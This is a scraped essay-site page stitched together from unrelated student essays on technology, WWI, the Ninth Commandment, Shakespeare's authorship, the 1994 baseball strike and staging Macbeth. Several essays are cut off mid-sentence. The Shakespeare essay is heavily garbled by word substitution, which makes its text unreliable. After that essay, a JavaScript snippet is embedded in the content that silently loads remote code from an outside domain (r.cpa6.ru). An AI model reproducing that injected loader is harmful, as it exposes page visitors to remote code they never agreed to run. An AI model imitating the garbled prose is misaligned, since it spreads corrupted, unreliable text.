Technology And The Human Race - 908 Words

Humans are indeed on a path to ever increasing progress through technology and education. These technological advancements can be used for better or for worse, depending on the application, and the increasing education will impact technologies even further. However, it is often said that there lies another pathway to the destruction of the human species and the planet itself. Likewise, the destruction of the human race is also dependent on the application of advanced technologies. Abuse of authority and privilege by those in power whilst the poor and deprived starve and suffer; through uncensored, unregulated, and lack of management of these technologies, the possible extinction of the human race is plausible within the next century. Technological advancements are what allows for the destruction of habitat, overfishing, climate change, and the overconsumption of finite resources, all of which harm ourselves, and the biodiversity of planet earth. Nevertheless, the progress of these technologies has further enhanced the human race’s ability to adapt and thrive above all other species on the planet. Applications of technologies in medical fields are examples of the good that can come from technology. It is for this reason why better management or censorship of these technologies is a must. Humanity; the most intelligent species on the planet, capable of anything, but is governed by its aggression and youth. A species fast in developing, but slow in maturing. Once a speciesShow MoreRelatedImpact Of Technology On The Organization Of The Human Race3088 Words   |  13 Pages Technology can most simply be described as the advantageous application of information in the application, Fabrication, and scheme of goods and services for use in the organization of the human race. By seeing the definition of technology we can understand why it plays such a big role in society today. Due to the utilization of technology, our specifications of living has expanded. Technology has opened many different doors that were closed before. New different forms of technology are inventedRead MoreMedical Technology And The Future Health Of The Human Race1354 Words   |  6 Pageswithout research and experimentation, there is no effective way to fight against them. In like manner, medical technology does not yield to other complications, such as those presented in the working environment of hospitals and nursing homes. Though some may argue that medical technology is too expensive, there is no monetary value to the future health of the human race. Medical technology does not fail to increase general health, productivity in the workplace, and more importantly, save lives. AccordingRead MoreA New History After The War888 Words   |  4 Pagesof peace, the world rearmed with new technologies and nationalistic racism to prevent any form of the war from happening again. This turned into conflicts and fights that were more globalized than ever before. This war fueled another conflict that dictated how the world would operate, which was the Cold War. The cold war was the start of the major changes in human history. Two important events that occurred in it was the arms race and space race. â€Å"An arms race denotes a rapid increase in the quantityRead MoreSocietys Dependence on Modern Technology Essay792 Words   |  4 PagesThe human race could be at risk. Observing the world and its inhabitants, this planet has proved to be a very dangerous place for the human being. We as a species, although not nearly as strong or as fast as most animals are, a brilliant, mechanically inclined race that has created and designed ways to make us the most dominating force on the planet. Our advancements in modern technology has grown to become a necessity. Ironically, modern technology although vital to the survival of men and womenRead MoreEssay on The Fate of Humanity by Technology1524 Words   |  7 Pagesof the end of the world and an afterlife constantly lingered and drove humans to fear the gods. Most believed that a catastrophic event caused by divine or supernatural powers would end the world and plunge humans into the mysterious abyss of the afterlife. In recent years, however, it is becoming more apparent that the technologies and innovations of human creation will eventually be the root cause of their demise. Technologies created during the 20th and 21st centuries alone have contributed to multitudesRead MoreThe Future Of The Human Race1539 Words   |  7 PagesThe future of the human race is terrifying to ponder about; not only does it raise many questions as to how the constant population growth will be handled, but it also causes natural resources to become more limited by the day. As human beings progress towards the future they will undoubtedly accomplish a myriad of feats. It is essential that one of such feats can solve the issues brought forth by the ever growing population of the human race. Furthermore, engineers must either generate new waysRead MoreThe Human Race : A Source Of Energy1549 Words   |  7 PagesThe human race has relied on finite resources as a source of energy since their beginning as a race on the Earth. While humans have used resources such as food in order to provide their bodies with the essential energy they need in order to survive, these sources are relatively much less finite than that of other human resources. This is because human beings are able to grow and produce their own food as they please. Sources of energy such as water on the other hand, which are relatively less finiteRead MoreWorld War II : A Watershed Event1690 Words   |  7 Pagesof peace, the world rearmed with new technologies and humanitarian ideologies to prevent any form of the war from happening again. This turned into conflicts and fights that were more globalized than ever before. This war fueled another conflict that dictated how the world would operate, which was the Cold War. The Cold War was the start of the major changes in human history. Two important events that occurred were the arms race and the space race. â€Å"An arms race denotes a rapid increase in the quantityRead MoreIs It Even Possible?998 Words   |  4 Pages Is It Even Possible? Everyone is gone; nobody is to be found at all. The only thing left is the sounds of Mother Nature. This is what may happen to the human race if action is not taken. Many viewpoints are taken that the problem could be climate change, future technology, or a movement that is just killing off people. I think the human race is doomed because we do not realize the damage we are doing to ourselves until it is too late. The sources I have chosen have compelling information that bringsRead MoreThe New Technology Can Save Lives960 Words   |  4 Pagesand Sagoff all agree that the new technology can save lives. McKibben states, â€Å"Somatic gene therapy is, in other words, much like medicine† (9). McKibben and Kurzweil have different views on what is acceptable when using this technology to help save lives. Somatic gene therapy and germline engineering are misused according to McKibben if they increase performance of the individual, while Kurzweil thinks anything is acceptable when it increases performance of the human species. Another thing that both

Americas Enterence into WWI was Ideological Essay

Was America’s Entrance into WWI Ideological or Economic? â€Å"Our object†¦is to vindicate the principles of peace and justice in the life of the world as against selfish and autocratic power and to set up amongst the really free and self-governed peoples of the world such a concert of purpose and of action as will henceforth insure the observance of those principles. Neutrality is no longer feasible or desirable where the peace of the world is involved and the freedom of its peoples†¦Ã¢â‚¬  Woodrow Wilson said this to congress when he was addressing them to declare war against Germany. He is aware that even though he had fought so hard to keep neutral that the Germans had just pushed too hard. Wilson continues saying that the Untied States†¦show more content†¦Why did he change his mind? After the Germans pushed Wilson to a certain point he entered the war for justice and peace. The reason that America entered WWI was because of Wilson’s idealistic principles and morals. He continually talked to Congress about the moral issues until he persuaded them to allow America to enter the war. Thomas Woodrow Wilson was an unlikely president. He was born in Virginia and was the son of a minister. That is the reason for his strong morals and ethics. Wilson graduated from Princeton and studies law at the University of Virginia and became bored and dulled by the law practice. He went back to school at John Hopkins and received his Ph.D. in government and history. Wilson became and author and a great professor and wrote several books: The State: Elements of Government: A Study in American Politics, Division and Reunion, and a five volume History of the American People. He left his teaching job at Princeton and was elected the governor of New Jersey. The changes he put in place gave him national repute and soon got himself elected President. Wilson beat William Howard Taft and former President Theodore Roosevelt. Wilson is the only president that the Untied States had ever had that has he ld a Ph.D. He put in place a progressive income tax, the Federal reserve Act, the Federal Trade Commission Act, the Clayton Antitrust Act, a farm loan act, and a child labor act which won him much praise

What is the meaning of the Ninth Commandment to a college student Free Essays

The basic premise behind the ninth commandment is truth, whether it is truth in deed, truthful speech or honest thoughts.   If we take the meaning of the commandment further and interpret the words to mean that a person should not lie, then we can understand better how this commandment might impact our daily life, especially in today’s modern environment where deception, and white lies appear to be condoned by our western society. The ninth commandment requires for each individual to be honest in his or her dealings with others, but analysis of the term â€Å"lying† reveals that there is more to being truthful than accurate reporting. We will write a custom essay sample on What is the meaning of the Ninth Commandment to a college student? or any similar topic only for you Order Now The Oxford Modern English Dictionary (1996) defines â€Å"truth† as being â€Å"the quality or state of being true or truthful† (p. 1114) and â€Å"truthful† as â€Å"habitually telling the truth† (p.1114).   By comparison the definition of the term â€Å"lying† in the same dictionary is listed as â€Å"part of a lie†¦deceitful, false† (p.595) where â€Å"Lie† is described as â€Å"an intentionally false statement† (p. 573).   From these interpretations it is easy to reach the conclusion that the definition of both truth and lying is steeped more in the intention of the individual rather than individual acts or words spoken. Brevard Childs (1974) believed that the original idea behind the ninth commandment was a legal one, rather than an ethical one, in that he translated the original text to mean that a person should not tell lies in a court of law (Childs, 1974), however the more modern viewpoint on the meaning of the commandment appears to be related to individual accountability and a desire to live a life of truth (St. John in the Wilderness, 2001, [online]). There are many different ways a person can lie including withholding the truth, slandering another person or action, or telling white lies and despite ethical discussions to the contrary all of these actions are considered untruthful from a biblical perspective.   For example in Leviticus 19:11, we are told, â€Å"you shall not steal, you shall not deal falsely, and you will not lie to one another† (NRSV).   Later in the same chapter we are again told, â€Å"you shall not go around as a slanderer among your people†¦Ã¢â‚¬ (Leviticus 19:16). These are just two of the copious number of biblical references that can be found that encourage each individual to be a truthful person, but how relevant is this truth in modern society? Terence Fretheim (1991) interpreted the ninth commandment to convey a foundation for community and social living.   He wrote, â€Å"unless there is an arena in which there is public confidence that social reality will be reliably described and reported† (Fretheim, p.848), the concept of community could not exist.  Ã‚   Blatnik (2004) corroborates that idea and goes on to say, â€Å"there is no community on the face of public lies† (p.3).   Blatnik (2004) also mentions verses in Ephesians that point towards the idea that â€Å"we are bound to each other in a way that a lie in one place, a lie at one level, a lie by one person, is like a ripple in a pond – the whole pond is ultimately affected† (p.3). Walter Brueggemann (1994) wrote in his book that the ninth commandment is â€Å"a recognition that community life is not possible unless there is an arena in which there is public confidence that social reality will be reliably described and reported† (p.26).   He believed that not only was truth an important part of a just and fair legal system, but that truth should be evident in all forms of public interaction.   For example the modern idea that skewing the truth in the advertisement of products in mass media forums is an accepted part of society, but essentially if public truth cannot reflect public reality then an important part of society is undermined and we as members of this society tend, over time, to distrust the messages we get from mass media sources. In his book Commandments of Compassion, Keenan (1999) suggest that as a society we need to â€Å"create a space where truth can be told† (p.4). He believes that truth should be evident in personal relationships, family relationships and public dealings we have with other members of our community.   Unfortunately this level of truth can only be created if all members of society were totally honest with each other and as it is not possible for us as human beings, to read the thoughts of another person, it is often difficult to tell if a person we are dealing with has the same commitment towards living a truthful life as we ourselves would like to have. John Timmerman (1997) also wrote about how to be truthful in all of our relationships, both personal and public. He emphasized the different ways we as individuals could achieve this level of truthfulness and suggested that if we were careful in the words we spoke so that we did not give another person the wrong impression, and combined this with attentive listening to another person, then these actions could increase our own individual ability to be truthful at all times.   Timmerman also noted that the idea of promises were almost a sacred act, in that as we believe in the promises from God, so we should ensure that we only make promises we can keep (Timmerman, 1997). According to John Ritenbaugh (1997) lying is rife in our communities.   His article mentions surveys that show that students lie to their parents about 50% of the time, that people in personal relationships lie about 30 percent of the time to their partner, while 12% of four million Americans in the job market had lost their jobs because they had misleading information on their resumes (Ritenbaugh, 1997).   He suggested that the reason lying was so prevalent in our society was because we tend to use other terms for lying, such as â€Å"exaggerating† or â€Å"inaccuracy† to describe the untruths. We seem as a society to accept that politicians are up to no good, that a salesman is probably â€Å"putting us on† and that big corporations must be doing something illegal because they make so much money.   The fact that these beliefs have permeated our social fabric to such a degree that these thoughts are commonplace shows just how little truth we expect from others in our daily lives.   This fact alone would suggest that because we do not expect others to tell us the truth, we might be less likely to be truthful ourselves.   It would seem that much of society is based on the idea that ‘everyone else is doing it† so therefore we can absolve ourselves of being accountable and honest in our own dealings with others. The Bible gives us countless examples of what it means to be truthful.   Deuteronomy 32:4 says â€Å"He is the rock, His work is perfect; for all His ways are justice, a God of truth and without injustice; righteous and upright is He† (NSRV). The teachings from Jesus also contain ideas on how to be truthful, especially in terms of the role model he became for other people.   Jesus was an example of a person who lived by his words on a daily basis, and it is through his example that we can see what changes we might need to put in place in our own lives, to be a better and more truthful person. A Christian student goes to a Christian college with the expectation that the people who share the campus with them are going to live by the same standards as themselves.   One of these expectation is that the other students, the tutors and even the administration staff of the college will all want to abide by the ten commandments and sometimes it can be bit of a shock to us to find that not only are there countless people in general society that fail to live by the commandments on a daily basis, but that some of the people in the college are also failing to live by the high standards set by Jesus Christ. However, it is my personal opinion that when it comes to attendance at a Christian educational institution that rather than condemn or alienate those students who might lie to us, or fail the commandments in some way or another, that we need to be forgiving and use the positive Christian influence of the college to help understand why some people find it difficult to be truthful in voice and deed and encourage these people back onto a Christian path in life.   We need to heed the words by Keenan (1999) mentioned earlier that we need to create the space where a person can feel comfortable enough to tell the truth. One of the main reasons people lie to others is based on their own fear of being judged by another person.   Most of us feel the need to make a good impression on others, so we feel we are not doing any harm by just omitting a few pertinent facts, or telling a few white lies to make ourselves appear better in a public light. Although the intention behind these actions may not be malicious, any form of untruth is a lie, and the only way we can be truthful people, and keep the ninth commandment is to be totally honest in all our dealings, both personal and professional. As students we are all well aware of how easy it is to be tempted to appear â€Å"better† in the way we behave, especially among our peers (Christian and non-Christian), but as Christians we are also aware of how important it is for us to live by higher standards than other non-Christian people might be prepared to live.   We need to remember that we are all sinners in some way or another, which is why I think that it is so important, when we do become aware that one of our Christian classmates is having problems being honest in their dealings, that we help rather than condemn him.   For example one of our classmates might be telling â€Å"white lies† to his parents because his grades are not as high as they should be. Even though we all learn the importance of being truthful in all of our thoughts, words and actions, it is not our place to ignore or shun that failing student – it is not our place to judge him.   Rather we should help him in spiritual ways by studying scriptures that are appropriate for the situation, and in practical ways by offering to help him study harder so that he is able to get a grade he can be proud of.   Blatnik (2004) told us that just one lie by one individual in a community can affect the whole community, but if we as Christian individuals hold fast to our own truths then through the power of prayer and understanding we can help our fellow students stay true to the teachings of Jesus Christ. The ninth commandment tells us we should not bear false witness against our neighbour – what it is asking us to do is to make truth the foundation for our lives here on earth.   Only when we are completely truthful in all of our dealings with other people around us can we have an honest relationship with God, and that fact applies to all of us, not only as Christians, not only as college students, but also as members of the human race. References Blatnik, D.J., (2004).   The Ninth Commandment. Second Presbyterian Church Sermons, accessed online at http://www.2prelex.org/S040418.htm October 2, 2005 Brueggemann, W., (1994).   The Book of Exodus, in The New Interpreter’s Bible, Vol. 1.   Nashville:   Abingdon Press Childs, B.S., (1974).   The book of Exodus: A critical, theological commentary.   Louisville: Westminster Press. Fretheim, T.E., (1991).   Exodus: Interpretation, a Bible commentary for teaching and preaching, Louisville: John Knox Press. Keenan, J.F., (1999).   Commandments of Compassion.   Franklin, WI: S.J. Sheed Ward Oxford Modern Dictionary (Second Edition), (1996), New York: Oxford University Press. Ritenbaugh, J.W., (December 1997).   The Ninth Commandment, Forerunner, Personal. Charlotte, NC:   Church of the Great God St. John in the Wilderness [online] (2001).   The Ten Commandments: 9. You shall not answer against your neighbor as a false witness.   Accessed at http://www.stjohnadulted.org October 2 2005. Timmerman, J.H., (1997).   Do we still need the Ten Commandments? A fresh look at God’s Laws of Love.   Minneapolis: Augsbur How to cite What is the meaning of the Ninth Commandment to a college student?, Essay examples

Doubt Of Shakespeare free essay sample

# 8217 ; s Authorship Of His Plaies Essay, Research Paper Doubt of Shakespeare # 8217 ; s Authorship of His Plaies Over the old ages, assorted individuals have expressed uncertainty as to the writing of William Shakespeare. These uncertainties are every bit old as his dramas. American writer, Henry James one time said, # 8220 ; I am haunted by the strong belief that the Godhead William is the biggest and the most successful fraud of all time practiced on a patient universe. ( Hoffman 27 ) On the other manus, writer Calvin Hoffman was convinced that Shakespeare was # 8220 ; the writer of the most brilliant English dramatic prose and poesy of all time written. ( Hoffman 27 ) But, he reiterated this belief nineteen old ages subsequently, saying, # 8220 ; They are brilliant! Merely, William Shakspere of Stratford-on- Avon neer wrote the dramas and poems. # 8221 ; ( Hoffman 27 ) Crime, guilt, fraud, expatriate, hatred, fraudulence, and slaying are all woven into this shroud of writing that hides the individuality of the universe # 8217 ; s most renowned author. Grouchs have proposed over 50 campaigners for writing, from Queen Elizabeth to the Jesiuts. Although many uncertainty that William Shakespeare of all time wrote the plants attributed to him, some still resort to pro-Shakespearean statements. John Drinkwater, writer and truster, felt that the flowers, Bankss, Brookss, grazing lands, and forests of Shakespeare # 8217 ; s boyhood place, Stratford, were all transfigured in his dramas by his fantastic poetry, but yet they still remained the scenes to which he was bred. Drinkwater believed excessively, that non merely in Shakespeare # 8217 ; s low common people, shepherds, nurserymans, and functioning work forces, but besides in his princes and male monarchs, he reflected the humanity with which he was familiar in Stratford. The cognition and wisdom he acquired straight from his ain enviroment was rather true to life. Drinkwater besides said that mere book- cognition in Shakespeare # 8217 ; s works was normally wrong because he used cognition outside the scope of his ain experiences, with a # 8220 ; expansive audacity. # 8221 ; It is true that William Shakespeare attended grammar school in Stratford, and tha he acquired some competency in Latin and gained a limited cognition of English history. There was a period of clip in his life referred to as his # 8220 ; dark old ages, # 8221 ; and this period of clip may hold been subjected to influences doing for high civilization. Records say excessively, that Shakespeare left Stratford in 1585 and went on the phase in 1590. During this clip he could hold attended Cambridge or worked in a attorney # 8217 ; s office, seemingly staying about one twelvemonth with the tribunal. This left one twelvemonth in which he might hold traveled to France and Italy, which would history for certain cognition revealed in his plants. Possibly Shakespeare # 8217 ; s dramas are excessively scholarly to hold been written by a adult male without a grade, but that, some believe can be explained by the fact that the dramas looked learned to people of ulterior coevalss who did non utilize classical allusion as a portion of their common address. Others believe that the deepness of larning in the dramas seems impossible for a adult male of Shakespeare # 8217 ; s place, but when the overwhelming power of the dramas is considered, the acquisition in them seems fiddling. Little is known of Shakespeare today. But, this deficiency of information about Shakespeare # 8217 ; s life can be attributed to the fact that his epoch was non one of life, insouciant missive authorship, or news media. What was said about Shakespeare was unwritten. Stratfordians, or those who believe that Shakespeare did so compose the plants attributed to him, began with a preconceived thought that he wrote the dramas, and so they tried to do facts and fortunes fit their instance, some say. To account for innumeralbe cases where Shakespeare exhibited such broad cognition, Stratfordians say that Shakespeare pumped anyone he could for information. However, others feel that pumping friends for local colour could aid with wide cognition, but truly could non enable him to convey the atmosphere of a state or to add little, instead insignificant inside informations which could merely come from the pen of a author who had really experienced them. Many feel that since Shakespeare # 8217 ; s illustriousness was non widely proclaimed and because none of his original manuscripts survived, is grounds that the latter was destroyed to hide the writer # 8217 ; s individuality. And excessively, one time a drama was printed, the manuscript possessed no value, so the paper, which was dearly-won and needed for practical intents was used, go forthing no individual manuscript in Shakespeare # 8217 ; s script. Anti-Shakespeare statements begin with the point that no populace or private reference of Shakespeare as a adult male, poet, or playwright was made at his decease. In Elizabethean convention excessively, the elegiac verse form was a true work of regard, yet there was none found for William Shakespeare. How could he so be the first figure in English literature? From all indicants found, during 1585 to 1593, Shakespeare # 8217 ; s most originative old ages, he was neer referred to by anyone, personally or professionally. From birth to decease, no grounds, outside of his name looking in the rubric pages of the nine First Quartos, has been found to certify that Shakespeare was a author or poet. Many inside informations in his dramas could hold been acquired merely by personal experiences, yet no Shakspere was mentioned in the dramatis personae of any drama during his life-time. It is pure guess that some say that he was an histrion. Another statement is that lone Lords or those associated with aristocracy could hold written such baronial ideas and described the blue character. How could somone of Shakespeare # 8217 ; s position write Hamlet? Therefore, some say that the universe in which Shakespeare obviously was non at place, must hold been the universe to which he belonged. In add-on, acquaintance with linguistic communications, literature, jurisprudence, political relations, history, geographics, and tribunal life found in Shakespeare # 8217 ; s Hagiographas, are all impossible for a common man. Shakespeare neer attended a University and was non extremely cultured. Yet, whoever wrote the dramas must hold been extremely cultured. Some think he may non hold been able to even compose. Besides, it was dubious if his married woman and kids could compose. His ain hardly legible signature, attached merely to his will and some concern trades, with 16 fluctuations of script, was odd for a literary mastermind. Self-education was impossible since he likely owned no books. In his will, no reference of any books was made, and books were valuable plenty to be mentioned. Before decease, Shakespeare composed his ain epitaph: Good friend for Jesus interest forbeare To digg the dust encloased heare ; Blest be the adult male that spares these rocks And curste be he who moves my castanetss. ( Sykes 60 ) Why would a poet and dramatist who wrote so brightly have no higher sentiments for his ain epitaph? Now, merely who could hold written the plants attributed to William Shakespeare? That Christopher Marlowe was truly Shakespeare has been given much acceptance among many literary people. Marlowe was educated and awarded scholarships. This proves he was able to bring forth great plants. Another theory came from Calvin Hoffman, who long ago said that on May 29,1593, Marlowe, antecedently arrested for godlessness, was charged with lese majesty. His homosexual friend, Thomas Walsingham, foresaw day of reckoning for his lover and made a program. Marlowe was to be the victim of a bogus slaying, leting charges against gt ; him to disappear with his decease. The slaying of a crewman, purportedly Marlowe, was arranged and committed, coercing Marlowe to pack up and go forth the state. A medical examiner was contacted and Marlowe was officially pronounced dead. Possibly Marlowe went to Italy after get awaying to France. That might history for cognition of Italy in certain dramas. Then excessively, he is thought to have subsequently returned to England, in camouflage, to work in privacy at Walsingham # 8217 ; s estate. There, he could hold walked the thousand estates of forests where so many allusions to nature could hold come to him. Therefore, was it a happenstance that Marlowe in his 13th twelvemonth, May, 1593, died, and Shakespeare, besides in his thirteeth twelvemonth, came away as a author, four months subsequently, in September, 1593? Marlowe left a verse form, it is said, called # 8220 ; Venus and Adonis, # 8221 ; registered anonymously. Four months after the terminal of Marlowe, this verse form appeared with the name William Shakespeare. To do Shakespeare invisible, the verse form was a logical campaigner for the first publication, since Marlowe # 8217 ; s repute was that of a playwright, non a poet. Walsingham likely received manuscripts from Marlowe, but Marlow # 8217 ; s script was known to his publishing houses who owned his old stuff, so a sure Marlowe # 8217 ; s experiences even appear in the dramas. There is a affaire dhonneur in Romeo and Juliet and in The Jew of Malta, he even described his destiny, where the character Machevel is Marlowe stating: Albert the universe think Macheval is dead, Yet was his psyche but flown beyond the Alps And now the Guize is dead, us come from France To see this land ( Britian ) and frolic with friends. To some, possibly my name is odius, But such as love me guard me from their linguas, And allow them cognize that I am Macheval. ( Hoffman 142 ) Calvin Hoffman, long ago, found similarities between Marlowe and Shakespeare. He found a image of both, enlarged them, and saw indistinguishable inside informations in their faces. Other critics feel there are similarites in manner and tone. Besides, Marlowe could non hold influenced Shakespeare if he died before Shakespeare began to compose. There is no grounds the two of all time met or spoke. Last, in an effort to turn out Marlowe # 8217 ; s writing, Calvin Hoffman, a long-time critic, received permission to open the grave of Marlowe # 8217 ; s friend, Thomas Walsingham. There he hoped to happen manuscripts. However, all he found was sand. There was no casket and no documents. On the other manus, Professor J. M. Massi says that the full Marlowe theory is pathetic. To state that because Shakespeare came from a lower economic category, therefore he could non hold written the plants, says that merely the wealthy and advantaged can be a success. Shakespeare took portion in share- keeping in theatical companies. He was a astute man of affairs, and was granted, through his male parent, a coat of weaponries and position. Besides, if Shakespeare was educated typically of his clip, he was fluid in Latin and had some Grecian and had read the classical writers, which is impressive. Massi says excessively, that in Shakespeare # 8217 ; s clip, writers trained writers so a work had many writers, and the pressman put one name on the screen of the drama. Last, Massi says that people state there aren # 8217 ; t many records about Shakespeare, but he feels that sing the few they kept so, we have plenty. Edward de Vere, 17th Earl of Oxford, another campaigner for writing, was born April 23, 1550, Shakespeare # 8217 ; s birthday. He was attached to letters and the theatre. He besides had an confidant relationship with Queen Elizabeth. Edward de Vere studied jurisprudence, knew the people of tribunal, war, and Italy. He had appropriate cognition to compose the dramas. He may hold used the anonym Shakspere because in tourneies he carried a long lance, or because his coat of weaponries was a king of beasts agitating a lance. He may besides hold been ashamed of authorship, being the Earl of Oxford, and hence assumed a anonym as protection against losing position. Edward de Vere was a royal ward where he had the chance to detect and take part in tribunal life, while Shakespeare was in small Stratford, isolated from an rational society, at the clip he was supposed to be composing. Edward de Vere traveled widely in Europe, excessively. And, Shakespeare # 8217 ; s dramas must hold been written by a much-traveled adult male. If Shakespeare of all time traveled outside of England, or even within England, farther so London, nil is know of it. There is farther support for Edward de Vere. Writers frequently put their ideas, friendly relationships, love personal businesss and other personal experiences into their plants. Matching episodes from de Vere # 8217 ; s life with the dramas, revealed his female parent to be similar to Hamlet # 8217 ; s female parent, a father-in jurisprudence like Polonius, a carnival lady- the Queen, a dark lady-his kept woman, Ann Vavasor, and a male child, de Vere # 8217 ; s bastard boy. Some even believe de Vere paid Shakespeare hush money to utilize his name. In decision, of the deVere theory, is the point that de Vere # 8217 ; s decease coincided with Shakespeare # 8217 ; s retirement to Stratford. The mouthpiece was withdrawn when the voice was gone. Again Professor Massai believes that the grounds for Delaware Vere is extremely originative, but he would be the best pick. But still, he says, that if there was a cover-up traveling on, many people would cognize the truth, and they surely all would non hold kept the secret traveling to their Gravess. A 3rd rival for the author of Shakespeare # 8217 ; s works is Francis Bacon. Those who support him are Baconians. Bacon was chosen because of his rational ability. Besides, analogues exist in both Bacon # 8217 ; s and Shakespeare # 8217 ; s plants, proposing their individualities are one. Bacon excessively, invented a cypher and some believe it was to hide himself. A Sir Toby Matthew one time wrote to Bacon and said, # 8220 ; The most colossal humor that of all time I knew # 8230 ; is of Your Lordship # 8217 ; s name, though he be known by another. # 8221 ; ( Encyclopedia Britannica ) People who say Bacon did non compose Shakespeare # 8217 ; s works assert that he was non a great poet, so he could non hold been a great playwright. They say he was a cold adult male, stately, and sculpt. Whoever wrote Shakespeare # 8217 ; s works was # 8220 ; scintillating # 8221 ; and # 8220 ; extravagant. # 8221 ; Bacon # 8217 ; s plants did non sympathise with agony, while Shakespeare # 8217 ; s did. Bacon and Shakespeare viewed the universe otherwise. Finally, some nonbelievers support another campaigner, William Stanley, the 6th Earl of Derby, who was interested in play, and became a frequenter of a company of histrions. Several verse forms showed marks of early and immature Shakespeare, but he was a male child at that clip. One was signed in Derby # 8217 ; s script, and three signed # 8220 ; William Shakespeare. # 8221 ; His motive- like de Vere # 8217 ; swould have been to avoid association of his household name with the lower societal order of the phase. Was Shakespeare suggesting at his name through word drama? His poetries, such as # 8220 ; # 8230 ; every word doth about state my name # 8230 ; # 8221 ; look to be an effort to uncover his name. Another line says, # 8220 ; Whats in a name? # 8221 ; Sonnet III says, # 8220 ; Hence comes it that my name receives a trade name, # 8221 ; and # 8221 ; my name be buried where my organic structure is # 8230 ; . # 8221 ; In decision, wonder has so been aroused for many, many old ages. Hundreds of theories and scintillas of cogent evidence have been gathered, but the universe will ever admiration and waver between uncertainty and belief in William Shakespeare. So, the inquiry still remains, # 8220 ; Was Shakespeare truly Shakespeare? # 8221 ; 363 ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

1994 Baseball Strike Essays - Employment Compensation,

1994 Baseball Strike On August 12, 1994 professional baseball players went on strike for the eighth time in the sports' history. Since 1972, negotiations between the union and owners over contract terms has led to major economic problems and the absence of a World Series in 1994. All issues were open for debate due to the expiration of the last contract. Until 1968, no collective bargaining agreement had ever been reached between the owners and the players (Dolan 11). Collective bargaining is the process by which union representatives for employees in a bargaining unit negotiate employment conditions for the entire bargaining unit (Atlantic Unbound). Instead, the players were at the mercy of each owner who possessed the exclusive right, at the close of each season, to resign each player on his roster. If the owner chose to renew a players contract, that player had the option of agreeing to those terms or not playing baseball. As a result of the obvious imbalance in the labor situation, the players attempted on several occasions to organize a union. Although this process may seem like a simple one, baseball has proven that it can be very difficult. The players have been represented by various unions in the twentieth century, all of which have failed until the current union, the Major League Baseball Players Association. After fourteen years of negotiations between the current union and the owners' representative, the first ?basic labor agreement' between the two parties was reached. Led by Marvin Miller in 1968, the players received higher minimum salaries, better health insurance plans, and increases in retirement benefits. These so called ?Basic Agreements? in major industries usually turn out to be more complex. As a result, strikes and lockouts have occurred ever since (Koppett 23). The baseball strike which occurred in 1994 was really about one thing; money. Two major issues led directly to the interruption and eventually the cancellation of the entire season. After a 28-0 vote among the owners, they agreed to share revenue on the condition they could get the players to accept a salary cap. The issue of revenue sharing was directly linked to the salary cap. By taking this action, the owners signaled they had come to realize the problem of disparity between big market teams (New York, Los Angeles, Chicago) and small market teams (Seattle, Pittsburgh, Milwaukee). The problem, however, was that because the owners linked their revenue sharing with a salary cap, the players felt they were being asked to solve the owners' financial disparity problem. There is a noticeable difference in team payrolls, as displayed in 1993, when the the payroll of the Toronto Blue Jays was $48.4 million, compared with San Diego Padres' payroll of only $10.6 million (Layden 17). Therefore, the idea of revenue sharing, wherein big market teams would transfer monies to the small market teams, was a good one, but it caused disputes among the owners as to how the formula would be worked out. Not all of the small market teams were in bad shape financially. In fact, some that had built or were building new stadiums such as Baltimore, Cleveland, and Texas were doing quite well. It was not until June 14, 1994, that the owners finally presented their collective bargaining proposal, 18 months after they voted to reopen the contract. The owners proposed a 7-year contract that would split their total revenue with the players, 50-50, while introducing a salary cap over the next four years (Dolan 26). The players had been making tremendous gains in wages through free agency, and they did not want to see that trend come to an end. Provided that revenues did not fall, the players would be guaranteed no less than $1 billion in pay and benefits scheduled for 1994. The proposa l also eliminated salary arbitration, but allowed players with 4 to 6 years of major league service to become free agents (compared with the 6 years previously required for free agency), with a right of first refusal by the player's current club. For players with fewer than 4 years of service, a rising scale of minimum salaries was proposed, with the actual minimum amounts to be negotiated later on. Players' licensing revenue (about $80,000 per

Directing Act 4 Scene 1 of Macbeth Essays

Directing Act 4 Scene 1 of Macbeth Essays Directing Act 4 Scene 1 of Macbeth Paper Directing Act 4 Scene 1 of Macbeth Paper Essay Topic: Macbeth I have chosen is Act 4 Scene 1 of Macbeth by William Shakespeare. I have chose to direct this as a stage production as it will be more interesting and easy than other scenes. Also I believe that this scene will be the most entertaining than other scenes and will also be able to make a bigger effect on the chosen audience. This scene includes the witches and other things about witches, the apparitions and other aspects that can be shown in special ways to the audience. This play will be set in an African scene mainly Ghanaian. The scene starts off with the witches brewing up a spell then Mac Beth enters and wishes for his fortune to be told. This is where the apparitions appear and each in turn gives Mac Beth a brief description of his future. I believe these apparitions could be done in such a way to make the audience scared. Lennox comes in and tells Mac Beth that Mac duff has fled to England to build up an army against him; Mac Beth says kill his family so Lennox leaves the stage. This scene I would say is the most active scene and will not get boring for the audience who are watching it, as there are many actions keeping the play rolling. I will be able to create an atmosphere with the audience using lighting and sound as they have the most potential to make atmosphere and feeling. On the whole I would say that the entire run of Mac Beth is a play of illusions, it shows the effect on humans of the mysterious or supernatural for example the witches that appear in this scene and the dagger which appears in the act before, I could also say that it is an exploration of language due to the fact that it shows how a poet uses language and imagery to imaginative effect. I would set the Mac Beth play in a big theatre that has special effects on light and sound. This would add effect to the sound and lighting of the play, therefore causing a more dramatic and more enjoyable feel to the audience. I think in Shakespeares time the stage needed to be quite dense or else you wouldnt get the feel of the witches being scary and everything will be easily seen so it wouldnt be so easy to move for the next scene. The witches would have very serious and sick faces to create an impression that they r a bit insane, as then it would also give the feel of evil to the audience. I dont want the seating area to be tall since I would like my audience to see the content of the cauldron whilst the apparitions are appearing. It will be set out as a cave, with bumpy, dirty walls and a blackened floor, skeletons of dead animals, snakeskins and earthenware bowls. This is because I want the audience to concentrate on the main part of the play and to create the scary impression and make the audience look in the cauldron at the same time concentrate on the apparitions In the scene the witches are gathering round a black and smoky cauldron inside a dark and gloomy cave, the cave will have surrounding trees as if it were in the middle of a forest. The stage will be full of dry ice to create the mysterious atmosphere. The cauldron will be situated near the middle but a little to the left so it is the centre of attraction. Most of the action will take place on stage apart from when the apparitions appear, as Mac Beth and the witches will be back from the cauldron leaving lots of room for the apparitions. To direct this play properly I would need a number of props, starting with the ingredients that are placed into the spell that the witches make up. These could be in jars placed on shelves at the back of the stage, the witches shall pick them up in the jar and throw the 